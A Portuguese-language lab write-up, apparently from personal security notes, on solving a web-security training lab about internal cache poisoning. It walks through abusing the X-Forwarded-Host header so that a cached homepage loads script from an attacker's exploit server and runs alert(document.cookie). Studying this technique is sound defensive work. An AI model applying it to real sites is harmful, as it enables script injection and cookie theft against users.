> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/internal-cache-poisoning.md).

# Envenenamento Interno de Cache

### Envenenamento de cache interno

Este laboratório é vulnerável ao envenenamento do cache da web e usa várias camadas de cache. / Um usuário visita regularmente a página inicial do site com o Chrome.

O objetivo é envenenar o **cache interno** para que a página inicial execute `alert(document.cookie)` no navegador da vítima.

**Análise inicial**

Interceptamos a solicitação para a raiz (`/`) e analisamos com **Param Miner**

<figure><img src="/files/ccd08d1aa5ad1dd8f1958ec7d4a71b082e493ca4" alt=""><figcaption></figcaption></figure>

**Observação do comportamento**

Quando adicionamos o seguinte cabeçalho à solicitação:

<figure><img src="/files/0350185e85a6f99eef29e280088cd819eee60e20" alt=""><figcaption></figcaption></figure>

Notamos que a resposta do servidor reflete esse valor.

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/ede0522cba8952ae49cca82b9f22e8fd614da9ca" alt=""><figcaption></figcaption></figure>

No entanto, essa modificação só é visível se o cabeçalho for mantido nas solicitações internas.

Ao enviar inúmeras solicitações com esse cabeçalho, o servidor acaba **armazenando em cache a resposta interna**.

\*\* Impacto no conteúdo em cache\*\*

Um script carregado inicialmente no formato:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

Após envenenar o cache, é transformado em:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/24e2266d8a39ee9d7c02ac2d14ba42bf657c3da6" alt=""><figcaption></figcaption></figure>

A origem do script agora depende do valor injetado via `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

O cache interno é envenenado com uma resposta maliciosa. / Quando a vítima visita a página inicial, o navegador carrega o script do nosso servidor, resultando na execução de:

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
